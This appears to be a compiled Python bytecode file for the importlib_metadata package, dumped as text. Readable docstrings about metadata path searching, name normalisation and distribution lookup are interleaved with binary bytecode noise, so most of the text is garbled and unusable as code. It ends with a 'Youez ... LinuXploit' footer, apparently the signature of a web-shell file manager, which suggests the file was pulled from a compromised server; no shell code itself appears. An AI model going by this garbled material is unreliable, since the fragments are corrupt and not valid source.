loading the metadata for packages matching the ``context``,
a DistributionFinder.Context instance.
r")r,rHs&&r$rl�%DistributionFinder.find_distributionsr8r'r")
r6r7r8r9r:rPrrrlr<r"r'r$rr�s1���)4�)4�V	���)0����r'c�T�[[Q[2UOQ5P!)a�Ensure ``func`` clears cached state after ``fork`` when supported.

``FastPath`` caches zip-backed ``pathlib.Path`` objects that retain a
reference to the parent's open ``ZipFile`` handle. Re-using a cached
instance in a forked child can therefore resurrect invalid file pointers
and trigger ``BadZipFile``/``OSError`` failures (python/importlib_metadata#520).
Registering ``cache_clear`` with ``os.register_at_fork`` keeps each process
on its own cache.
�register_at_fork)�after_in_child)r��osr�cache_clear)�cacheds&r$�_clear_after_forkr $s���B�"�D�)��9K�9K�Lr'c�`�\sQsQsQs\\O2U1Qk22sQs	Qs
QsQsQs
\Q	2s\Q
2sQsU9s!)�FastPath�2aM
Micro-optimized class for searching a root for children.

Root is a path on the file system that may contain metadata
directories either as natural directories or within a zip file.

>>> FastPath('').children()
['...']

FastPath objects are cached and recycled for any given root.

>>> FastPath('foobar') is FastPath('foobar')
True
c	�$:�[RU_U2!r2)�super�__new__)rL�rootr�s&&�r$r&�FastPath.__new__Bs����w��s�#�#r'c	��VmP!r2)r')r,r's&&r$rz�FastPath.__init__Gs���	r'c	�F�[OUOU2!r2)rerfr')r,�childs&&r$�joinpath�FastPath.joinpathJs���|�|�D�I�I�u�-�-r'c	�N�[[29^tt^2[OUO9%fQ2ttPPP2!)%fhL9h[[29^tt^2SO2ttPPP2!)%fh,!9h�r)r�	Exceptionr�listdirr'�zip_childrenr+s&r$�children�FastPath.childrenMs_��
�i�
 �
 ��:�:�d�i�i�.�.�3�/�!�
 �
 �
 ��
�i�
 �
 ��$�$�&�!�
 �
 �
 ��	�s(�#A�A�A	�A	�8B�B$	�B$	c	���]PHoUOUO2oUOO2oUOUm[
O
QU22!)r�c3�z�SF �D,pO[O]2]*w�	J.	P!3h)r)r��	posixpathr�)rEr,s& r$rG�(FastPath.zip_children.<locals>.<genexpr>\s%��5���5�%�[�[�����:�1�=�=�5�s�4;)�zipfilerfr'�namelistr-�dict�fromkeys)r,r:�zip_pathr�s&   r$r3�FastPath.zip_childrenTsK����<�<��	�	�*���
�
�&�&�(�� �)�)��
��}�}�Q�5�Q�Q�Qr'c	�X�UOUO2OU2!r2)�lookup�mtime�searchr4s&&r$rC�FastPath.search^s ���{�{�4�:�:�&�-�-�d�3�3r'c	��[[29^tt^2[OUO2O
ttPPP2!)%fhL9hSOO2P!r2)r�OSErrorr�statr'�st_mtimerArr+s&r$rB�FastPath.mtimeasB��
�g�
�
��7�7�4�9�9�%�.�.��
�
�
�������!s�*A�A	�A	c	��[U2!r2)�Lookup)r,rBs&&r$rA�FastPath.lookupgs���d�|�r')r-r')r6r7r8r9r:r r��	lru_cacher&rzr-r4r3rCr;rBr
rAr<�
__classcell__�r�s@r$r"r"2so���
������$���$��.��R�4��"��"�
���r'r"c�4�\sQsQsQsQQksQQksQsP!)rK�lzC
A micro-optimized class for searching a (fast) path for metadata.
c��U]6�cPgQQ-!)rr;r"r")r#s"r$r%�Lookup.__init__.__annotate__qs����X�r'c
���[OOUO2O	2oUOQ2o[
[2Um[
[2Um	UO2FCD(oUO	2oUOQ2%cwUOQ2]*OQ2]*o[OU2oUOU*OUO!U22J�U%fJ�UQ6XfJ�UOQ2]*OQ2]*o[O#U2oUOU*OUO!U22CJ+	UOO%2UOO%2P!)z�
Calculate all of the children representing metadata.

From the children in the path, calculate early all of the
children that appear to represent metadata (infos) or legacy
metadata (eggs).
z.eggr�-zegg-info�z
.dist-infoz	.egg-info)rr;�basenamer'�lowerrXr
r��infos�eggsr4�
rpartitionr%r�r��appendr-�legacy_normalize�freeze)	r,r;�base�base_is_eggr,�lowr*�
normalized�legacy_normalizeds	&&       r$rz�Lookup.__init__qsN���w�w����	�	�*�0�0�2���m�m�F�+��)�$�/��
�(��.��	��]�]�_�_�E��+�+�-�C��|�|�7�8�8��~�~�c�*�1�-�7�7��<�Q�?��%�/�/��5�
��
�
�:�&�-�-�d�m�m�E�.B�C����
�!2����s�+�A�.�8�8��=�a�@��$,�$=�$=�d�$C�!��	�	�+�,�3�3�D�M�M�%�4H�I�%�	
�
�
�����	�	���r'c��U]6�cPgQQ-!)r�preparedr�r")r#s"r$r%�Lookup.search.__annotate__�s��,�,�x�,r'c
��U%cUOUO*L6[OO	UOO22oU%cUOUO*L6[OO	UOO22o[OV#2!)z7
Yield all infos and eggs matching the Prepared query.
)rYrbrQrRrSr�rZrc)r,rfrYrZs&&  r$rC�
Lookup.search�s����
�J�J�x�*�*�+����.�.�t�z�z�/@�/@�/B�C�	��
�I�I�h�0�0�1����.�.�t�y�y�/?�/?�/A�B�	
�
���u�+�+r')rZrY)r6r7r8r9r:rzrCr<r"r'r$rKrKls����:,�,r'rKc�V�\sQsQsQsPsPsQQks\Q2s	\Q2s
QsQsP!)	r��a�
A prepared search query for metadata on a possibly-named package.

Pre-calculates the normalization to prevent repeated operations.

>>> none = Prepared(None)
>>> none.normalized
>>> none.legacy_normalized
>>> bool(none)
False
>>> sample = Prepared('Sample__Pkg-name.foo')
>>> sample.normalized
'sample_pkg_name_foo'
>>> sample.legacy_normalized
'sample__pkg_name.foo'
>>> bool(sample)
True
c��U]6�cPgQQ-!)rr*r2r")r#s"r$r%�Prepared.__init__.__annotate__�s��=�=�Z�=r'c	�x�VmUeP!UOU2UmUOU2UmP!r2)r*r�rbr]rcr4s&&r$rz�Prepared.__init__�s2���	��<���.�.��.���!%�!6�!6�t�!<��r'c
��UO2OQQ2OQQ2oQU7cUOQQ2oJU!)z�
PEP 503 normalization plus dashes as underscores.

Specifically avoids ``re.sub`` as prescribed for performance
benefits (see python/cpython#143658).
rUr'r�__�rX�replace)r*rBs& r$r��Prepared.normalize�sE���
�
��$�$�S�#�.�6�6�s�C�@���e�m��M�M�$��,�E��r'c
�D�UO2OQQ2!)zd
Normalize the package name as found in the convention in
older packaging tools versions and specs.
rUr'rrr)s&r$r]�Prepared.legacy_normalize�s���z�z�|�#�#�C��-�-r'c	�.�[UO2!r2)�boolr*r+s&r$�__bool__�Prepared.__bool__�s���D�I�I��r')rcr*rb)
r6r7r8r9r:rbrcrzrgr�r]ryr<r"r'r$r�r��sF���&�J���=������.��.�r'r�c�v�\sQsQs\\O
21QQkk2s\Q2s\QQk2s	Qs
P!)�MetadataPathFinder��c��U]6�cPgQQ-!)rr zIterable[PathDistribution]r")r#s"r$r%�2MetadataPathFinder.find_distributions.__annotate__�s��,�,�	#�,r'c
�p�UOUOUO2o[[U2!)z�
Find distributions.

Return an iterable of all Distribution instances capable of
loading the metadata for packages matching ``context.name``
(or all names if ``None`` indicated) along the paths in the list
of directories ``context.path``.
)�
_search_pathsr*r;rTrd)rLrH�founds&& r$rl�%MetadataPathFinder.find_distributions�s,���!�!�'�,�,����=���#�U�+�+r'c
�`�[U2n[OOU1Qk[	[
U222!)z1Find metadata directories in paths heuristically.c3�P:�SF �DpOR2w�	J	P!3hr2)rC)rEr;rfs& �r$rG�3MetadataPathFinder._search_paths.<locals>.<genexpr>�s��.B���.B�d�K�K��!�!�.B�r�)r�rQrRrSrTr")rLr*r�rfs&&&@r$r�� MetadataPathFinder._search_paths�s9����D�>�����,�,�-
�.1�(�E�.B�-
�
�	
r'c��U]6�cPgQQ-!)rr rsr")r#s"r$r%�1MetadataPathFinder.invalidate_caches.__annotate__�s��'�'�$�'r'c	�D�[OO2P!r2)r"r&r)rLs&r$�invalidate_caches�$MetadataPathFinder.invalidate_caches�s�����$�$�&r'r")r6r7r8r9rfrrPrlr�r�r<r"r'r$r|r|�sH���'�/�/�1�,��,��
��
��'��'r'r|c�`�\sQsQsQQksQQks\O
O\mQQks\	U1Qk2s
\Q	2sQ
s
U9s!)rd��c�"�U]6�cPgQQQQ-!)rr;rr rsr")r#s"r$r%�&PathDistribution.__init__.__annotate__�s����Z��D�r'c
��VmP!)zVConstruct a distribution.

:param path: SimplePath indicating the metadata directory.
�r�r?s&&r$rz�PathDistribution.__init__�s	��
�
r'c�"�U]6�cPgQQQQ-!)rr6r<r r2r")r#s"r$r%�'PathDistribution.read_text.__annotate__�s��
�
�"8�
�Z�
r'c	���[[[[[[
29^tt^2UOOU2OQQ5ttPPP2!)%fhP!9h)rr)	r�FileNotFoundError�IsADirectoryErrorr��NotADirectoryError�PermissionErrorr�r-rr5s&&r$r�PathDistribution.read_text�sZ��
������
�
��:�:�&�&�x�0�:�:�G�:�L�
�
�
�
��s�+A#�#A4	�,A4	c�"�U]6�cPgQQQQ-!r:r")r#s"r$r%�)PathDistribution.locate_file.__annotate__
s��(�(� 6�(�:�(r'c	�>�UOOU*!r2)r��parentr?s&&r$r�PathDistribution.locate_file
s���z�z� � �4�'�'r'c
��:�[OO[UO22o[[O2UOU229%f[RU_(!)zb
Performance optimization: where possible, resolve the
normalized name from the file system path.
)rr;rWr!r�rr�r��_name_from_stemr%r�)r,�stemr�s& �r$r��!PathDistribution._normalized_name
sV����w�w����D�J�J��0���h�(�(�)�$�*>�*>�t�*D�E�
(�
(��w�'�	
r'c
��[OOU2vqUQ7cP!UOQ2vq4oU!)z�
>>> PathDistribution._name_from_stem('foo-3.0.egg-info')
'foo'
>>> PathDistribution._name_from_stem('CherryPy-3.0.dist-info')
'CherryPy'
>>> PathDistribution._name_from_stem('face.egg-info')
'face'
>>> PathDistribution._name_from_stem('foo.bar')
rUrV)rr;�splitextr%)r�r6�extr*r��rests&     r$r�� PathDistribution._name_from_stems?�����(�(��.�
���1�1��"�,�,�S�1���4��r'r�)r6r7r8r9rzrrr:rr;r�rgr�r<rNrOs@r$rdrd�sP����
�%�.�.�6�6�I��(��	
��	
����r'rdc�"�U]6�cPgQQQQ-!)r�distribution_namer!r rr")r#s"r$r%�distribution.__annotate__+s��5�5�C�5�L�5r'c�.�[OU2!)z�Get the ``Distribution`` instance for the named package.

:param distribution_name: The name of the distribution package as a string.
:return: A ``Distribution`` instance (or subclass thereof).
)rrF�r�s&r$�distributionr�+s���!�!�"3�4�4r'c��U]6�cPgQQ-!rr")r#s"r$r%�distributions.__annotate__4s��+�+�5�+r'c�2�[OQ-U@!)ztGet all ``Distribution`` instances in the current environment.

:return: An iterable of ``Distribution`` instances.
r")rrE)rUs,r$�
distributionsr�4s��
� � �*�6�*�*r'c�"�U]6�cPgQQQQ-!)rr�r!r rtr")r#s"r$r%�metadata.__annotate__<s��>�>��>�(=�>r'c�B�[OU2O!)z�Get the metadata for the named package.

:param distribution_name: The name of the distribution package to query.
:return: A PackageMetadata containing the parsed metadata.
:raises MetadataNotFound: If no metadata file is present in the distribution.
)rrFr[r�s&r$r[r[<s���!�!�"3�4�=�=�=r'c�"�U]6�cPgQQQQ-!)rr�r!r r")r#s"r$r%�version.__annotate__Fs��3�3�s�3�s�3r'c�.�[U2O!)z�Get the version string for the named package.

:param distribution_name: The name of the distribution package to query.
:return: The version string for the package as defined in the package's
    "Version" metadata key.
)r�r�r�s&r$r�r�Fs���)�*�2�2�2r'r�)�keyc��U]6�cPgQQ-!r�r")r#s"r$r%�entry_points.__annotate__Ys��-�-�k�-r'c��[OOQ[[	2222o[U2OQ-U@!)z�Return EntryPoint objects for all installed packages.

Pass selection parameters (group or name) to filter the
result to entry points matching those properties (see
EntryPoints.select()).

:return: EntryPoints for all installed packages.
c3�D�SF �DpOw�	J	P!3hr2)r�)rErqs& r$rG�entry_points.<locals>.<genexpr>bs��&>���&>�d���&>�s� r")rQrRrS�_uniquer�r�r�)r��epss, r$r�r�YsG���/�/�
'�
'�(�&-�m�o�&>�(��C��s��"�"�,�V�,�,r'c�"�U]6�cPgQQQQ-!)rr�r!r r�r")r#s"r$r%�files.__annotate__hs��1�1�S�1�%=�1r'c�.�[U2O!)z�Return a list of files for the named package.

:param distribution_name: The name of the distribution package to query.
:return: List of files composing the distribution.
)r�r�r�s&r$r�r�hs���)�*�0�0�0r'c�"�U]6�cPgQQQQ-!)rr�r!r r�r")r#s"r$r%�requires.__annotate__qs��4�4��4�(8�4r'c�.�[U2O!)z�
Return a list of requirements for the named package.

:return: An iterable of requirements, suitable for
    packaging.requirement.Requirement.
)r�r�r�s&r$r�r�qs���)�*�3�3�3r'c��U]6�cPgQQ-!)rr zMapping[str, list[str]]r")r#s"r$r%�#packages_distributions.__annotate__{s���� 7�r'c��[O[2o[2FDQo[	U29%f[U2FD+oV*O
UOQ*2J-	JS	[U2!)z�
Return a mapping of top-level packages to their
distributions.

>>> import collections.abc
>>> pkgs = packages_distributions()
>>> all(isinstance(dist, collections.abc.Sequence) for dist in pkgs.values())
True
r�)	�collections�defaultdictr�r��_top_level_declared�_top_level_inferredr\r[r<)�pkg_to_distrq�pkgs   r$�packages_distributionsr�{sh���)�)�$�/�K����&�t�,�I�I�0C�D�0I�I�C���#�#�D�M�M�&�$9�:�J� ����r'c�V�UOQ29%fPO2!)z
top_level.txt)rr�r�s&r$r�r��s"���N�N�?�+�1�1�r�8�8�:�:r'c�"�U]6�cPgQQQQ-!)rr*rr r2r")r#s"r$r%�_topmost.__annotate__�s��!�!�;�!�:�!r'c�6�UOuqU%cU!P!)z:
Return the top-most parent as long as there is a parent.
)�parts)r*�topr�s&  r$�_topmostr��s�����J�C��3� �D� r'c�"�U]6�cPgQQQQ-!)rr*rr r!r")r#s"r$r%�_get_toplevel_name.__annotate__�s��F�F�[�F�S�Fr'c�z�]PHo[U29%f%UOU29%f[U2!)a�
Infer a possibly importable module name from a name presumed on
sys.path.

>>> _get_toplevel_name(PackagePath('foo.py'))
'foo'
>>> _get_toplevel_name(PackagePath('foo'))
'foo'
>>> _get_toplevel_name(PackagePath('foo.pyc'))
'foo'
>>> _get_toplevel_name(PackagePath('foo/__init__.py'))
'foo'
>>> _get_toplevel_name(PackagePath('foo.pth'))
'foo.pth'
>>> _get_toplevel_name(PackagePath('foo.dist-info'))
'foo.dist-info'
)�inspectr��
getmodulenamer!)r*r�s& r$�_get_toplevel_namer��s0��&��D�>�E�E�W�2�2�4�8�E�E�C��I�Er'c�x�[[[[UO222oQo[V!2!)c��QU7!r0r"r)s&r$�importable_name�,_top_level_inferred.<locals>.importable_name�s���$��r')�setrTr�rr�rS)rq�	opt_namesr�s&  r$r�r��s/���C�*�O�D�J�J�,G�H�I�I���/�-�-r')rrrrrrrr�r�r�r�r[r�r�r�)Vr:�
__future__rrr�r�r�rQr�rrer8r�rorbr��collections.abcrr�
contextlibr�	importlibr�
importlib.abcrr�typingrr�r	�_collectionsr
r�_contextr�
_functoolsr
rrr�
_itertoolsrrrrr�_typingr�__all__�ModuleNotFoundErrorrr�rr?r�riror�r��
PurePosixPathrr�ABCMetarrr r"rKr�r|rdr�r�r[r��partialr]r�r�r�r�r�r�r�r�r�r"r'r$�<module>r�s����#�
������	���	�
���-��#�(����4�#�B�B�@�@�.����&	�.�	�;�(�;�>1�>1�B�u�,�,��h!�h!�V5
�%�5
�p+�'�'�'�+�$C�C�T
�S�[�[�T
�n
;��;�|
�
M�
�
M�7�7�t0,�0,�f5�5�p'�+�'�:4�|�4�n5�+�>�3��
�
�����.�/����
-�1�4��";�!�F�0.r'

Youez - 2016 - github.com/yon3zu
LinuXploit